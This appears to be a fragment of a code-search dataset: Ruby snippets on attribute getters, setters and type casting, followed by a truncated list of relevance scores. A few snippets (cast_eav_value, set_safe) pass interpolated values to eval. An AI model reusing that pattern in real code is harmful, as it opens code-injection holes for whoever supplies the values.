"def process_attribute(name, value)\n if !respond_to?(\"#{name}=\", true) && (store_as = aliased_fields.invert[name.to_s])\n name = store_as\n end\n responds = respond_to?(\"#{name}=\", true)\n raise Errors::UnknownAttribute.new(self.class, name) unless responds\n\n send(\"#{name}=\", value)\n end",
"def add_checked_attribute(klass, attribute)\n klass.class_eval do\n define_method attribute do\n instance_variable_get(\"@#{attribute}\")\n end\n\n define_method \"#{attribute}=\" do |value|\n raise 'Invalid attribute' unless value\n \n instance_variable_set(\"@#{attribute}\", value)\n end\n end\nend",
"def []=(attribute, value)\n # shall I raise an exception?\n return if self.class.schema[attribute].nil?\n # shall I convert the value if it's not in the right format?\n self.instance_variable_set(\"@#{attribute}\", value)\n end",
"def new_attribute(name, type)\n attributes[name] = type\n define_attr_reader(name)\n define_attr_writer(name, type)\n name\n end",
"def method_missing(meth, *args, &blk)\n match = meth.to_s.match(/^([a-zA-Z\\_]+)(=|$)$/)\n if match\n attribute, setter = match[1], !match[2].blank?\n if setter\n write_attribute(attribute, args.first)\n else\n read_attribute(attribute)\n end\n else\n super(meth, *args, &blk)\n end\n end",
"def define_attribute( name, type, options )\n class_eval <<-RUBY, __FILE__, __LINE__ + 1\n def #{name}\n unless #{type} === ( v = read_local(:#{name}) )\n _write_local(:#{name}, v = parse( :#{name}, v ) || v ) if v\n end\n v\n end\n \n def #{name}=( v )\n write_local(:#{name}, v)\n end\n RUBY\n end",
"def ssdb_attr(name, type, options = {})\n unless %i(string integer).include?(type)\n raise \"Type not supported, only `:string` and `:integer` are supported now.\"\n end\n\n @ssdb_attr_definition[name.to_s] = type.to_s\n\n define_method(name) do\n instance_variable_get(\"@#{name}\") || begin\n val = ssdb_attr_pool.with { |conn| conn.get(ssdb_attr_key(name)) } || options[:default]\n instance_variable_set(\"@#{name}\", typecaster(val, type))\n end\n end\n\n define_method(\"#{name}=\") do |val|\n send(\"#{name}_will_change!\") unless typecaster(val, type) == send(name)\n instance_variable_set(\"@#{name}\", val)\n end\n\n define_method(\"#{name}_default_value\") do\n typecaster(options[:default], type)\n end\n\n define_method(\"#{name}_was\") { attribute_was(name) }\n\n define_method(\"#{name}_change\") { attribute_change(name) }\n\n define_method(\"#{name}_changed?\") { attribute_changed?(name) }\n\n define_method(\"restore_#{name}!\") { restore_attribute!(name) }\n\n define_method(\"#{name}_will_change!\") { attribute_will_change!(name) }\n\n end",
"def add_checked_attribute(clazz, attribute)\r\n eval <<END\r\n class #{clazz}\r\n\r\n def #{attribute}=(value)\r\n raise 'Invalid attribute' unless value\r\n @#{attribute}=value\r\n end\r\n\r\n def #{attribute}\r\n #{attribute}\r\n end\r\n end\r\nEND\r\nend",
"def set_attribute(name, value)\n # Get the attr and clean up the input\n attr = to_real_attribute_name(name)\n raise UnknownAttribute.new(name) if attr.nil?\n\n if attr == dn_attribute and value.is_a?(String)\n new_dn_attribute, value, @base = split_dn_value(value)\n new_dn_attribute = to_real_attribute_name(new_dn_attribute)\n if dn_attribute != new_dn_attribute\n @dn_attribute = attr = new_dn_attribute\n end\n end\n\n # Enforce LDAP-pleasing values\n real_value = value\n # Squash empty values\n if value.class == Array\n real_value = value.collect {|c| (c.nil? or c.empty?) ? [] : c}.flatten\n end\n real_value = [] if real_value.nil?\n real_value = [] if real_value == ''\n real_value = [real_value] if real_value.class == String\n real_value = [real_value.to_s] if real_value.class == Fixnum\n # NOTE: Hashes are allowed for subtyping.\n\n # Assign the value\n @data[attr] = enforce_type(attr, real_value)\n\n # Return the passed in value\n @data[attr]\n end",
"def attribute_setter_getter(attribute)\n define_method attribute.to_s.to_sym do |value = nil|\n if value.nil?\n instance_variable_get \"@#{attribute}\"\n else\n instance_variable_set \"@#{attribute}\", value\n end\n end\nend",
"def attribute(key, type = nil)\n reader = :\"#{key}\"\n writer = :\"#{key}=\"\n\n define_method(reader) do\n self.attributes[reader]\n end\n\n define_method(writer) do |value|\n self.attributes[reader] = value\n end\n end",
"def eav_attribute name, type = String\n name = name.to_s if !name.is_a? String\n\n self.class_eav_attributes[name] = type\n end",
"def method_missing(attr, *vals)\n\t\t\tattr_str = attr.to_s\n\t\t\tcase attr_str\n\t\t\twhen /^[a-zA-Z_]+$/\n\t\t\t\t#getter\n\t\t\t\tif @attributes.has_key? attr\n\t\t\t\t\treturn @attributes[attr]\n\t\t\t\telse\n\t\t\t\t\tsuper(attr, *vals) #method missing\n\t\t\t\tend\n\t\t\t\t\n\t\t\twhen /^[a-zA-Z_]+=$/\n\t\t\t\t#setter\n\t\t\t\tif vals.empty?\n\t\t\t\t\traise ArgumentError, \"No arguments provided to attribute setter #{attr_str}\"\n\t\t\t\tend\n\t\t\t\t@attributes[attr_str.slice(0..-2).to_sym] = vals.first\n\t\t\t\t\n\t\t\telse\n\t\t\t\tsuper(attr, *vals) #method missing\n\t\t\tend\n\t\tend",
"def attribute_from_instance(from_instance, attr_name)\n val = from_instance.attributes[attr_name.to_s]\n val ||= from_instance.instance_variable_get(\"@#{attr_name}\")\n\n if val.blank? && attr_name.to_s.start_with?('previous_value_of_') && from_instance.respond_to?(:previous_changes)\n real_attr_name = attr_name.to_s.sub(/^previous_value_of_/, '')\n val = from_instance.previous_changes[real_attr_name]&.first\n end\n\n attr_type = from_instance.type_for_attribute(attr_name).type\n val = nil if val.blank? && attr_type != :string\n val = false if val.nil? && attr_type == :boolean\n val\n end",
"def attr_type(attr_name)\n raise NotImplementedError\n end",
"def set_safe(obj,attr,id,value)\n create_new_object_cache obj\n try(\"@#{obj}s['#{id}'.to_sym]= #{CLASSHELPER[obj.to_sym]}.new('#{id}') unless @#{obj}s['#{id}'.to_sym]\")\n if value.is_a?(Array)\n a = try(\"@#{obj}s['#{id}'.to_sym].#{attr}= #{value.inspect}\")\n elsif value.is_a?(String)\n a = try(\"@#{obj}s['#{id}'.to_sym].#{attr}= '#{value}'\")\n elsif value.is_a?(Fixnum)\n a = try(\"@#{obj}s['#{id}'.to_sym].#{attr}= '#{value}'\")\n else\n puts \"Unknown type to store to cache.(#{value.class})\"\n end\n print \"\\#\" if @debug == true if a\n return value\n end",
"def read_attribute(attr_name)\n convert_to_type(@attributes[attr_name.to_s], type_for_property(attr_name.to_sym))\n end",
"def assign_attribute(name, value)\n self.send(\"#{name}=\", value) if has_attribute?(name)\n end",
"def value(instance = nil)\n if nil == instance\n return attribute_type\n end\n attribute_type.new(instance, @options.merge({\n :cls => model,\n :type => type,\n :name => name\n }))\n end",
"def initialize(name, value_before_type_cast, type, original_attribute = nil, value = nil)\n @name = name\n @value_before_type_cast = value_before_type_cast\n @type = type\n @original_attribute = original_attribute\n @value = value unless value.nil?\n end",
"def attribute name, type, conditions= DEFAULT_ATTRIBUTE_CONDITIONS\n RMOF.complete_conditions conditions, DEFAULT_ATTRIBUTE_CONDITIONS\n @attributes= {} unless instance_variable_defined? :@attributes\n @attributes[name]= [name, type, conditions]\n unless method_defined? :__attributes then \n define_method( :__attributes) do \n @attributes\n end \n end\n at= \"@#{name}\".to_sym\n getter= \"#{name}\".to_sym\n setter= \"#{name}=\".to_sym\n completion= \"__complete_#{name}\".to_sym\n define_method( getter) do\n if instance_variable_defined? at then instance_variable_get at\n else conditions[:default]\n end\n end\n define_method( setter) do |val|\n instance_variable_set at, val\n end\n define_method( completion) do\n RMOF.validate( self.send(getter), name, type, conditions)\n end\n end",
"def attribute(name, type, options={})\n name = name.to_sym\n options = options.to_smash\n attributes[name] = Smash.new(:type => type).merge(options)\n coerce = attributes[name][:coerce]\n valid_types = [attributes[name][:type], NilClass].flatten.compact\n allowed_values = attributes[name][:allowed]\n multiple_values = attributes[name][:multiple]\n depends_on = attributes[name][:depends]\n define_method(name) do\n send(depends_on) if depends_on\n self.class.on_missing(self) unless data.has_key?(name) || dirty.has_key?(name)\n if(dirty.has_key?(name))\n dirty[name]\n else\n if(data.has_key?(name))\n val = data[name]\n else\n val = self.class.attributes[name][:default]\n end\n if(val.respond_to?(:dup))\n begin\n val = val.dup\n rescue\n val\n end\n end\n if(val.respond_to?(:freeze))\n val.freeze\n else\n val\n end\n end\n end\n define_method(\"#{name}=\") do |val|\n values = multiple_values && val.is_a?(Array) ? val : [val]\n values.map! do |item|\n valid_type = valid_types.detect do |klass|\n item.is_a?(klass)\n end\n if(coerce && !valid_type)\n item = coerce.arity == 2 ? coerce.call(item, self) : coerce.call(item)\n if(item.is_a?(Hash) && item[:bogo_multiple])\n item = item[:bogo_multiple]\n else\n item = [item]\n end\n else\n item = [item]\n end\n invalid_type = item.detect do |_item|\n valid_types.none? do |klass|\n _item.is_a?(klass)\n end\n end\n if(invalid_type)\n raise TypeError.new(\"Invalid type for `#{name}` (#{invalid_type} <#{invalid_type.class}>). Valid - #{valid_types.map(&:to_s).join(',')}\")\n end\n if(allowed_values)\n unallowed = item.detect do |_item|\n !allowed_values.include?(_item)\n end\n if(unallowed)\n raise ArgumentError.new(\"Invalid value provided for `#{name}` (#{unallowed.inspect}). Allowed - #{allowed_values.map(&:inspect).join(', ')}\")\n end\n end\n item\n end\n values.flatten!(1)\n if(!multiple_values && !val.is_a?(Array))\n dirty[name] = values.first\n else\n dirty[name] = values\n end\n end\n define_method(\"#{name}?\") do\n send(depends_on) if depends_on\n self.class.on_missing(self) unless data.has_key?(name)\n !!data[name]\n end\n nil\n end",
"def set_attr(name, value)\n each_value {|x| x[name] = value }\n end",
"def typecast_attribute_for_write(attr_name, value)\n self\n .find_typecaster(attr_name)\n .to_api(value)\n end",
"def attr_class_accessor(*args)\n\t\targs.each{|arg|\n\t\t\tclass_eval %(\n\t\t\t\tdef #{arg}; self.class.#{arg}; end\n\t\t\t\tdef #{arg}=(v); self.class.#{arg} = v; end\n\t\t\t)\n\t\t}\n\tend",
"def method_missing(method_name, *args, &block)\n if method_name.to_s.end_with?('=')\n set_attribute(method_name, *args)\n elsif has_attribute?(method_name)\n get_attribute(method_name)\n else\n super\n end\n end",
"def define_setter_for(name)\n define_method(\"#{name}=\") do |associated|\n instance_variable_set(\"@#{name}\".to_sym, associated)\n\n assign_id_for(name, associated)\n assign_type_for(name, associated)\n assign_serialized_attributes(name, associated)\n end\n end",
"def update(original, attr_name, value)\n instance_variable_set(:\"@#{attr_name}\", value) if original.class.identifier_names.include?(attr_name)\n end",
"def assign_value\n if assigned_attr = AttrName.find_by_id(self.attr_name_id)\n case assigned_attr.value_type\n when \"STRING\"\n self.string_val = self.raw_value\n when \"FLOAT\" #has a special case to remove the dollar symbol in front of it\n #remove_dollar_sign\n self.float_val = self.raw_value.to_f\n when \"DATETIME\"\n self.datetime_val = self.raw_value.to_datetime\n when \"BOOLEAN\"\n if self.raw_value == 'true'\n self.bool_val = true\n else\n self.bool_val = false\n end\n when \"INTEGER\"\n if assigned_attr.treat_as_price\n logger.debug \"Treating this as a price\"\n self.price_val_cents = Money.parse(self.raw_value).cents\n else\n self.int_val = self.raw_value.to_i\n end\n else\n self.string_val = self.raw_value\n end\n end\n end",
"def type_for_attribute(attr_name, &block)\n attr_name = attr_name.to_s\n if block\n attribute_types.fetch(attr_name, &block)\n else\n attribute_types[attr_name]\n end\n end",
"def method_missing(method_name, *arguments, &block)\n if /^(?<id>[^=]+)(?<assign>=)?$/ =~ method_name.to_s && attribute = self[id]\n assign ? attribute.send(\"value=\", *arguments) : attribute.value\n else\n super\n end\n end",
"def typecast_attribute_for_read(attr_name, value)\n self\n .find_typecaster(attr_name)\n .from_api(value)\n end",
"def instance_set(attribute, value)\n setter = :\"#{self.name}_#{attribute}=\"\n self.instance.send(setter, value) if instance.respond_to?(setter)\n end",
"def method_missing(method, *args, &block)\n meth, setter = /^(.*?)(=?)$/.match(method).values_at(1,2)\n if valid_temporal_attribute?(meth.to_sym) \n setter.empty? ? get(meth, *args) : set(meth, *args)\n else super\n end\n end",
"def enforce_type (workitem, value)\n\n value = if not @type\n value\n elsif @type == 'string'\n value.to_s\n elsif @type == 'int' or @type == 'integer'\n Integer(value)\n elsif @type == 'float'\n Float(value)\n else\n raise\n \"unknown type '#{@type}' for field '#{@field}'\"\n end\n\n workitem.attributes[@field] = value\n end",
"def attribute(name, type = nil, default: :no_default, description: nil, &type_block) # rubocop:disable Metrics/PerceivedComplexity\n attribute = attribute!(name)\n attribute.description = description\n\n if default == :no_default\n attribute.required = true\n else\n attribute.default = default.freeze\n end\n\n attribute.validator = Validator.resolve(type || type_block)\n\n define_method(\"#{attribute.name}=\") do |value|\n if value.nil?\n raise NoValueProvided if attribute.required\n elsif attribute.validator\n value = attribute.validator.call(value)\n end\n instance_variable_set(\"@#{attribute.name}\", value)\n end\n end",
"def instance_write(attr, value)\n setter = :\"#{@name_string}_#{attr}=\"\n instance.send(setter, value) if instance.respond_to?(setter)\n end",
"def check_attribute_type(ast_class_name, attribute, class_lut)\n\tif not (class_lut.include? attribute.type or attribute.type == \"SELF_TYPE\")\n\t\tline_number = attribute.type_line\n\t\tmessage = \"class #{ast_class_name} has attribute #{attribute.name} with unknown type #{attribute.type}\"\n\t\ttype_error(line_number, message)\t\t\t\n\tend\nend",
"def check_attribute_type(ast_class_name, attribute, class_lut)\n\tif not (class_lut.include? attribute.type or attribute.type == \"SELF_TYPE\")\n\t\tline_number = attribute.type_line\n\t\tmessage = \"class #{ast_class_name} has attribute #{attribute.name} with unknown type #{attribute.type}\"\n\t\ttype_error(line_number, message)\t\t\t\n\tend\nend",
"def get_attribute(name)\n str = name.to_s\n \n # try fetching an instance variable first\n value = instance_variable_get(\"@#{str}\")\n return value unless value.nil?\n \n # not an instance variable -- try fetching from @metadata\n load_metadata unless @metadata_loaded\n value = @metadata[str]\n return value unless value.nil?\n \n # not in metadata under that name -- is there another variant?\n alternate_name = nil\n self.class.md_key_map.each do |md_name, var_name|\n if str == md_name.to_s\n alternate_name = var_name.to_s\n break\n end\n end\n \n # if we couldn't find anything, return nil\n return nil if alternate_name.nil?\n \n # otherwise, try looking in metadata using the alternate name\n # if this doesn't work, we'll just let the method return nil\n @metadata[alternate_name]\n end",
"def []=(name,value)\n name = attr_alias(name)\n\n fail(\"Invalid parameter #{name}\") unless self.class.validattr?(name)\n\n if name == :name && nv = name_var\n name = nv\n end\n raise Puppet::Error.new(\"Got nil value for #{name}\") if value.nil?\n\n property = self.newattr(name)\n\n if property\n begin\n # make sure the parameter doesn't have any errors\n property.value = value\n rescue => detail\n error = Puppet::Error.new(\"Parameter #{name} failed on #{ref}: #{detail}\")\n error.set_backtrace(detail.backtrace)\n raise error\n end\n end\n\n nil\n end",
"def jonize(name, clazz, options = {})\n name = name.to_sym\n name_before_type_cast = \"#{name}_before_type_cast\"\n\n options[:name] = name\n options[:class] ||= clazz\n\n alias_name = options[:alias]\n\n attribute_meta = meta.attributes[name]\n\n # In case we override the attribute.\n if attribute_meta\n attribute_meta.merge!(options)\n else\n attribute_meta = meta.attributes[name] = Jo::Meta.new(options)\n\n inheritance_column = if attribute_meta.polymorphism?\n options[:inheritance_column] || \"#{name}_type_id\"\n end\n\n instance = \"@#{name}\"\n instance_before_type_cast = \"@#{name}_before_type_cast\"\n\n class_eval do\n validate_jo_family(name, attribute_meta)\n\n define_method(name) do\n if instance_variable_defined?(instance)\n instance_variable_get(instance)\n else\n type_casted_object = Jo::Helper.type_cast(send(name_before_type_cast), attribute_meta)\n type_casted_object = Jo::Helper.bind(type_casted_object, attribute_meta, self, name)\n\n instance_variable_set(instance, type_casted_object)\n end\n end\n\n define_method(\"#{name}=\") do |object|\n object = Jo::Helper.to_jo(object, attribute_meta)\n type_casted_object = Jo::Helper.type_cast(object, attribute_meta)\n\n if type_casted_object != send(name)\n send(\"#{name}_will_change!\")\n\n type_casted_object = Jo::Helper.bind(type_casted_object, attribute_meta, self, name)\n\n instance_variable_set(instance, type_casted_object)\n instance_variable_set(instance_before_type_cast, object)\n end\n end\n\n define_method(name_before_type_cast) do\n if instance_variable_defined?(instance_before_type_cast)\n instance_variable_get(instance_before_type_cast)\n else\n object = read_attribute(name)\n\n object = nil if object.is_a?(String) && object.blank?\n\n object = Jo::Helper.to_jo(object, attribute_meta)\n\n object = attribute_meta.class.new if object.nil?\n\n instance_variable_set(instance_before_type_cast, object)\n end\n end\n\n define_method(\"type_cast_#{name}_object\") do |object|\n Jo::Helper.type_cast_object(object, attribute_meta)\n end\n\n # Write the jo to column before save if there are changes.\n before_save :if => \"#{name}_changed?\" do |model|\n object = send(name)\n\n if attribute_meta.polymorphism?\n object.type_id = object.class.type_ids[object.class] if object\n\n write_attribute(\"#{inheritance_column}\", object && object.type_id)\n end\n\n object = Jo::Helper.to_serialized_jo(object, attribute_meta)\n\n write_attribute(name, object.present? ? object.to_json : nil)\n\n true\n end\n\n after_save :if => \"#{name}_changed?\" do |model|\n object = send(name)\n\n if object\n object.saved! if attribute_meta.base?\n object.map_values(&:saved!) if (attribute_meta.array? || attribute_meta.hash?) && attribute_meta.object_base?\n end\n\n true\n end\n end\n end\n\n\n class_eval do\n if alias_name && alias_name != name\n alias_method alias_name, name\n alias_method \"#{alias_name}=\", \"#{name}=\"\n end\n end\n\n end",
"def attribute(name, type = nil, extra_opts={})\n @defined_attributes ||= {}\n @defined_attributes[name.to_sym] = [type, extra_opts]\n define_method(\"#{name}\") do\n return nil unless @attributes\n if type == :model\n @cached_attributes ||= {}\n @cached_attributes[name.to_sym] ||= begin\n model_id = @attributes[name.to_sym]\n klass = extra_opts[:class]\n if model_id && klass\n eval(klass.to_s.camelize).find(model_id)\n end\n end\n else\n @attributes[name.to_sym]\n end\n end\n define_method(\"#{name}=\") do |val|\n return nil unless @attributes\n if type == :model\n @cached_attributes ||= {}\n @cached_attributes.delete(name.to_sym)\n if val.respond_to?(:id)\n @attributes[name.to_sym] = val.id\n else\n @attributes.delete(name.to_sym)\n end\n else @attributes\n @attributes[name.to_sym] = val\n end\n end\n end",
"def get_attribute(name); end",
"def get_attribute(name); end",
"def get_variabletype(name, attribute)\n Object.const_get(name).new.get_variabletype(attribute)\n end",
"def assign!(attributes)\n attributes.each { |name, value| self[name] = value }\n rescue NoMethodError => e\n raise Ciesta::FieldNotDefined, \"Field #{e.name} is not specified\"\n end",
"def attribute_convert val\n case val\n when Fixnum\n if val >= members.size\n raise IndexError, \"offset #{val} too large for #{description}\"\n elsif val < (members.size * -1)\n raise IndexError, \"offset #{val} too small for #{description}\"\n end\n\n val = members.size + val if val < 0\n val = members[val]\n when Symbol, String\n val = val.to_sym\n unless members.include? val\n raise NameError, \"no attribute #{val} in factory\"\n end\n else\n raise TypeError\n end\n val\n end",
"def assert_good_value(object_or_klass, attribute, value, error_message_to_avoid = //)\n object = get_instance_of(object_or_klass)\n object.send(\"#{attribute}=\", value)\n object.valid?\n assert_does_not_contain(object.errors.on(attribute), error_message_to_avoid, \"when set to #{value.inspect}\")\n end",
"def []=(attr_name, value)\n writer_method = \"#{attr_name}=\"\n send(writer_method, value) if respond_to?(writer_method)\n end",
"def cast_eav_value value, attribute # :nodoc:\n attributes = self.class_eav_attributes.stringify_keys\n return value unless attributes.keys.include?(attribute)\n return value if attributes[attribute] == String # no need for casting\n\n\n begin\n # for core types [eg: Integer '12']\n eval(\"#{attributes[attribute]} '#{value}'\")\n\n rescue\n begin\n # for BigDecimal [eg: BigDecimal.new(\"123.45\")]\n eval(\"#{attributes[attribute]}.new('#{value}')\")\n\n rescue\n begin\n # for date/time classes [eg: Date.parse(\"2011-03-20\")]\n eval(\"#{attributes[attribute]}.parse('#{value}')\")\n rescue\n value\n end\n\n end\n end\n end",
"def method_missing(method_name, *args)\n # Return the attribute value\n if @attributes.has_key?(method_name)\n read_attribute(method_name)\n \n # If we predefine an attribute, but we don't have it loaded, return nil\n elsif self.class.predefined_attributes.include?(method_name)\n nil\n \n # Check booleans, attribute_name?\n elsif method_name.to_s =~ /\\?$/\n simple_method_name = method_name.to_s.gsub(/\\?$/, '').to_sym\n @attributes[simple_method_name] == true || @attributes[simple_method_name] == 't' || \n @attributes[simple_method_name] == 'true'\n \n # Method to set attribute, attribute_name=\n elsif method_name.to_s =~ /=$/ && !args.empty?\n write_attribute(method_name.to_s.gsub(/=$/, '').to_sym, args.first)\n \n # Default to raising an error\n else\n default_method_missing(method_name, *args)\n end\n end",
"def assert_white_list_setter(clazz, attr, value, whitelist_clazz)\n instance = clazz.new(attr => value)\n assert_kind_of whitelist_clazz, instance.send(attr)\n assert_equal value, instance.send(attr).value\n end",
"def set attribute, value\n attributes[attribute] = value\n end",
"def method_missing(method_name, *args)\n method_match, attribute_name, equal_sign = method_name.to_s.match(/\\A([^=]+)(=)?\\Z/).to_a\n if attribute_name && self.class.valid_attributes.include?(attribute_name.to_sym)\n if equal_sign \n attributes[attribute_name.to_sym] = args.first\n else\n attributes[attribute_name.to_sym]\n end\n else\n super\n end\n end",
"def attr_set_sb2(attr_type, attr_value)\n #This is a stub, used for indexing\n end",
"def method_missing(meth, *args)\n return if not method_missing_hook(meth, args)\n\n d = self.class.structure_field_names\n m = meth.to_s\n\n setter = (m[-1].chr == \"=\") ? true : false\n m = m[0..-2] if setter\n\n puts \"WARNING: assignment to @value as struct field\" if setter and m == \"value\"\n\n if (i = d[m.intern])\n if setter\n self[m.intern] = args[0]\n else\n self[m.intern]\n end\n else\n super(meth, *args)\n end\n end",
"def cast_attribute(value, type_name)\n case type_name\n when :integer then value.to_i\n when :float then value.to_f\n when :boolean then !!value\n else value\n end\n end",
"def create_attribute options\n attributes = options[ :attributes ]\n attr_value = options[ :value ]\n attributes.each do | attr_name |\n self.class.class_eval do\n define_method attr_name do\n instance_variable_get \"@#{ attr_name }\"\n end\n define_method \"#{ attr_name }=\" do | value |\n instance_variable_set( \"@#{ attr_name }\", value )\n end\n end\n self.public_send( \"#{ attr_name }=\", attr_value )\n end\n end",
"def set_attr(key, value)\n value = format_value(value)\n key = format_key(key)\n send(\"#{key}=\", value)\n rescue\n unless defined?(Rails).nil?\n $lxca_log.info(\n 'XClarityClient::Endpoints::BuildableResourceMixin',\n \"UNEXISTING ATTRIBUTES FOR #{self.class}: #{key}\"\n )\n end\n end",
"def attribute!(name, options={})\n super(name, options)\n define_method(\"#{name}=\") do |value|\n typecast_value = typecast_attribute(typecaster_for(self.class._attribute_type(name)), value)\n send(\"#{name}_will_change!\") unless typecast_value == read_attribute(name)\n super(value)\n end\n end",
"def attr_set_ub1(attr_type, attr_value)\n #This is a stub, used for indexing\n end",
"def attr_set_ub2(attr_type, attr_value)\n #This is a stub, used for indexing\n end",
"def create_attr( name , ro = false)\n unless ro\n create_method( \"#{name}=\".to_sym ) { |val| \n instance_variable_set( \"@\" + name, val)\n }\n end\n\n create_method( name.to_sym ) { \n instance_variable_get( \"@\" + name )\n }\n end",
"def attribute_type(x)\n self.class.attribute_type qualified_name(x)\n end",
"def attribute=(name, value)\n @attributes ||= {}\n @attributes[name] = value\n end",
"def read_set_attribute(attribute_name)\n value = read_attribute(attribute_name)\n column_type = ((column_definition = self.class.columns_hash[attribute_name.to_s]) and column_definition.type)\n value = value.to_i(10) if column_type == :string\n value\n end",
"def ensure_default_attribute_value(attributes, attribute, value)\n if attribute.format.present?\n value = case entity_class.columns_hash[attribute.entity_attribute].sql_type\n when /time/i\n Time.strptime(value, attribute.format)\n when /date/i\n Date.strptime(value, attribute.format)\n else\n raise ArgumentError, \"For #{klass} there is no crystal ball. Please contact Lukas with bribe\"\n end\n end\n attributes.store(attribute.entity_attribute, value)\n\n attributes\n end",
"def attribute(name, type)\n @attributes ||= {}\n @attributes[name] = type.meta(name: name)\n end",
"def enforce_type(key, value)\n ensure_apply_object_class\n # Enforce attribute value formatting\n normalize_attribute(key, value)[1]\n end",
"def is_attribute?; end",
"def handle_attr(var_name, attr_name, read, write)\n rw = ''\n rw += 'R' if '1' == read\n rw += 'W' if '1' == write\n\n class_name = @known_classes[var_name]\n\n return unless class_name\n\n class_obj = find_class var_name, class_name\n\n return unless class_obj\n\n comment = find_attr_comment var_name, attr_name\n comment.normalize\n\n name = attr_name.gsub(/rb_intern(?:_const)?\\(\"([^\"]+)\"\\)/, '\\1')\n\n attr = RDoc::Attr.new '', name, rw, comment\n\n attr.record_location @top_level\n class_obj.add_attribute attr\n @stats.add_attribute attr\n end",
"def simple_class_attribute(*attrs)\n attrs.each do |name|\n define_singleton_method(name) { nil }\n\n ivar = \"@#{name}\"\n\n define_singleton_method(\"#{name}=\") do |val|\n singleton_class.class_eval do\n define_method(name) { val }\n end\n\n if singleton_class?\n class_eval do\n define_method(name) do\n if instance_variable_defined? ivar\n instance_variable_get ivar\n else\n singleton_class.send name\n end\n end\n end\n end\n val\n end\n end\n end",
"def create_accessors(attribute_name)\n class_eval do\n define_method(attribute_name) do\n odata_entity[property_map[attribute_name]]\n end\n\n define_method(\"#{attribute_name}=\") do |value|\n # unless entity[property_map[attribute_name]] == value\n # send(\"#{attribute_name}_will_change!\") if defined?(::ActiveModel)\n # end\n\n odata_entity[property_map[attribute_name]] = value\n end\n end\n\n nil\n end",
"def define_attribute_method(scope, name, opts = {})\n method = scope == :instance ? :define_singleton_method : :define_method\n\n send(method, name) do\n ivar = instance_variable_get(:\"@#{name}\")\n return ivar unless ivar.nil?\n\n value = @xml_element.locate(opts[:xpath]).first\n value = value.value if value.is_a?(Ox::CData)\n\n unless value.nil?\n value =\n case opts[:type]\n when :integer\n value.to_i\n when :integer_array\n value.split(\",\").map(&:to_i)\n when :numeric\n BigDecimal.new(value)\n when :boolean\n value == \"1\" || value.downcase == \"true\"\n when :string\n value.to_s.strip\n when :datetime\n value.empty? ? nil : Time.parse(value + \" UTC\")\n when :hash\n value.scan(/^(.*?): (.*?)$/).to_h\n end\n end\n\n instance_variable_set(:\"@#{name}\", value)\n end\n end",
"def set_attribute(name, value)\n @attributes[name] = value\n end",
"def attr_set_ub4(attr_type, attr_value)\n #This is a stub, used for indexing\n end",
"def setup_attribute_type(klass)\n klass.schema.each do |attr, config|\n klass._attribute_types[attr] = self.setup_layer_type(klass, config.split(/[|]/), 0)\n end\n end",
"def []= (key, value)\n key.downcase!\n attributes_downcase [email protected](&:downcase)\n if attributes_downcase.include? key\n set(key, value)\n else\n raise 'El atributo '+ key + ' no ha sido encontrado'\n end\nend",
"def create_setter(name, meth)\n define_method(\"#{meth}=\") do |value|\n write_attribute(name, value)\n end\n end",
"def attic *junk\n return metaclass if junk.empty?\n junk.each do |name|\n next if attic_variable? name\n self.attic_variables << name\n \n unless method_defined? name\n define_method(name) do\n attic_variable_get name\n end\n end\n unless method_defined? \"#{name}=\"\n define_method(\"#{name}=\") do |val|\n attic_variable_set name, val\n end\n end\n end\n attic_vars\n end",
"def attic *junk\n return metaclass if junk.empty?\n junk.each do |name|\n next if attic_variable? name\n self.attic_variables << name\n \n unless method_defined? name\n define_method(name) do\n attic_variable_get name\n end\n end\n unless method_defined? \"#{name}=\"\n define_method(\"#{name}=\") do |val|\n attic_variable_set name, val\n end\n end\n end\n attic_vars\n end",
"def find_attribute_type( name )\n\t\tattrtype = nil\n\n\t\t# Try both the name as-is, and the camelCased version of it\n\t\tcamelcased_sym = name.to_s.gsub( /_(\\w)/ ) { $1.upcase }.to_sym\n\t\tattrtype = self.valid_attribute_type( name ) ||\n\t\t self.valid_attribute_type( camelcased_sym )\n\n\t\treturn attrtype\n\tend",
"def set_attribute(dict_name, key, value)\n end",
"def read_attribute_before_type_cast(name)\n attributes.before_type_cast(name.to_sym)\n end",
"def super_attr(name, opts={})\n\t\t\t\t\n\t\t\t\t# Defines getter\n\t\t\t\tdefine_method(\"#{name}\") do\n\t\t\t\t\tinstance_variable_get(\"@#{name}\")\n\t\t\t\tend\n\n\t\t\t\t# Defines setter\n\t\t\t\tdefine_method(\"#{name}=\") do |arg|\n\t\t\t\t\t# If the arg is a kind of opts[:type]\n\t\t\t\t\t# it sets the value, otherwise, it will\n\t\t\t\t\t# raise a StandardError.\n\t\t\t\t\tif arg.is_a? opts[:type]\n\t\t\t\t\t\tinstance_variable_set(\"@#{name}\", arg)\n\t\t\t\t\telse\n\t\t\t\t\t\traise StandardError.new(\"The value for #{name} is not a type #{opts[:type]}\")\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\t# If the attribute is required, it will\n\t\t\t\t# push its name to the @@required_attrs array\n\t\t\t\t@@required_attrs << name if opts.has_key?(:required) && opts[:required]\n\n\t\t\tend",
"def attr_set_sb4(attr_type, attr_value)\n #This is a stub, used for indexing\n end"
] | [
"0.7088052",
"0.6800977",
"0.6744544",
"0.6447708",
"0.6442046",
"0.6409927",
"0.6365219",
"0.6295124",
"0.62298024",
"0.6219169",
"0.61600345",
"0.61524636",
"0.6144862",
"0.6132096",
"0.61246794",
"0.61132425",
"0.6050269",
"0.60252124",
"0.60041666",
"0.59901935",
"0.59756744",
"0.5954309",
"0.5947638",
"0.59324396",
"0.5887368",
"0.5866031",
"0.5853271",
"0.58275384",
"0.5821918",
"0.5814933",
"0.5813098",
"0.5793779",
"0.5765789",
"0.576409",
"0.5750045",
"0.5730849",
"0.5717887",
"0.56964725",
"0.5672768",
"0.56700623",
"0.56657577",
"0.5663835",
"0.5648708",
"0.56464833",
"0.5640544",
"0.5633789",
"0.5622962",
"0.560274",
"0.5593287",
"0.55821735",
"0.5578899",
"0.5578899",
"0.55683076",
"0.5545763",
"0.55314153",
"0.5520006",
"0.5518618",
"0.5518618",
"0.55103475",
"0.5508179",
"0.5479377",
"0.54709405",
"0.5466698",
"0.5458998",
"0.54423666",
"0.5437026",
"0.54270315",
"0.5426434",
"0.542561",
"0.5424095",
"0.54185086",
"0.54163474",
"0.5413891",
"0.5403942",
"0.54034925",
"0.53932786",
"0.5387523",
"0.5380946",
"0.53780675",
"0.5372074",
"0.53716403",
"0.53704375",
"0.53667617",
"0.5363406",
"0.5363345",
"0.536232",
"0.5358296",
"0.53541213",
